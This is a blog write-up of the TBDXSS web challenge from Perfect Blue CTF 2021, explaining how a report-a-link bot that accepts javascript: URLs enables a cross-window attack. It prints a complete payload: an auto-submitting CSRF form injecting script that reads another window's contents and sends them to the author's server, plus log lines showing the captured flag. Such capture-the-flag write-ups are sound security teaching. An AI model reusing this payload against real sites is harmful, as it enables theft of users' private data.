This weekend I participated in the 2021 Perfect Blue ctf. This is my write-up on how to solve the TBDXSS challenge.
[Note: This post has mild spoilers for the vault problem as well]
The challenge
Here is the challenge description:
The TBD in the challenge name stands for ....
https://tbdxss.chal.perfect.blue/
PS: Flag is admin bot's note.
Author: Jazzy
When we look at the web page, we find a notes app that stores a single note that an contain any html, along with a form to change the contents of the note. The contents of the note are stored in a cookie with sameSite=lax. All pages have X-Frame-options: deny.
There is also a "report a link" functionality, that triggers a headless chrome instance to visit a link of your choosing. This chrome instance has a cookie pre-installed that puts the flag into the note.
Finding the vulnerability
The first things I noticed:
- There is no CSRF token on the form, so you can submit it cross-site
- However, the sameSite=lax on the cookie means you have to actually navigate to the the result for the cookie to be set. You can't just post via AJAX
- The X-Frame-Options: deny prevent you submitting the form into an <iframe> (using the target attribute on the form and name on the iframe)
- The end result, is as far as I could tell, to change the note you would have to do a top-level navigation (e.g. via submitting a form) to change the note. The success page does not include the note, so you do not execute your JS after success.
- You can put arbitrary html into the note (XSS!). However doing so deletes the previous contents of the note (The flag)
I struggled with this for a while. If not for the x-frame-options: deny, my approach would be:
- Load the original note in an <iframe>
- submit a form that changes the note into a different <iframe> (via target attribute on the form)
- Load the new note in a new <iframe>. Since the two iframes belong to the same origin they should be able to have full access to each other
However, that was not to be because of the X-Frame-Options. A similar approach might be with pop-up windows, however, chrome's popup blocker would prevent that.
For a while I looked for ways to read pages cross-origin. That of course would be spitting in the face of the same origin policy, and is thus impossible. I probably should of recognized that the entirety of internet security is not a lie, and spent less time down that rabbit hole.
Later when looking at a different problem (Vault) I came to the key insight. Vault also has a similar setup with the, report a link headless chrome bot. However, the code between them had two major differences, which was suspicious.
- TBDXSS was running in incognito mode, Vault was not (Important for the solution to vault)
- Vault had code to ensure that all urls started with http. TBDXSS did not.
This meant that TBDXSS report feature could accept javascript: scheme urls. Thus the key XSS was not in the notes app, but in the headless chrome bot code.
Furthermore, it appears that the chrome pop-up blocker does not apply to javascript: code in this context. (In local testing, in my normal chrome it seemed like you could only make a single pop-up from an about:blank page using javascript urls. When i tested it on the bot you could make multiple).
[Edit: After reading Sam Brow's write up for the same problem, it sounds like the pop-up blocker was disabled generally in puppeteer, so it was possible to solve this problem more directly and the javascript uri thing was unnecessary]
The Exploit
With that in mind, we can now make our exploit, using javascript urls to launch multiple pop-ups that can read from each other.
- Launch a pop-up in a named window: window.open( 'https://tbdxss.chal.perfect.blue/note', 'first' )
- Launch a second pop-up to a url controlled by us. This will contain a form with js to submit the form on page load, that changes the note to malicious JS.
- The malicious JS code will involve something like: window.open('', 'first').document.body.innerHTML; to read the contents of the first frame
- After a delay, navigate the second pop-up to https://tbdxss.chal.perfect.blue/note so that the malicious JS is executed
- The malicious JS reads the flag from the first pop-up, and sends it back to us
Putting it all together, the url we "report" is:
<base href="https://tbdxss.chal.perfect.blue"></head><body> <form action="/change_note" id="noteform" method=POST > <input type="hidden" name="data"
value="<script>
var first = window.open('', 'first').document.body.innerHTML;
x=new XMLHttpRequest;
x.open('GET', 'https://bawolff.net/log?'+encodeURIComponent(first));
x.send();
</script>"
> <input id="sub" type="submit" value="submit"> </form> <script> document.getElementById( 'noteform' ).submit();
</script>
This results in the following in my apache log:
34.86.22.124 - - [12/Oct/2021:03:17:59 +0000] "GET /notes.htm HTTP/1.1" 200 6138 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36"
34.86.22.124 - - [12/Oct/2021:03:18:04 +0000] "GET /log?%0Apbctf%7Bg1t_m3_4_p4g3_r3f3r3nc3%7D%0A%0A%20%20%20%20 HTTP/1.1" 404 5702 "https://tbdxss.chal.perfect.blue/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36"
De-urlencoding that, the flag is: pbctf{g1t_m3_4_p4g3_r3f3r3nc3}. Thus the problem is solved.
No comments:
Post a Comment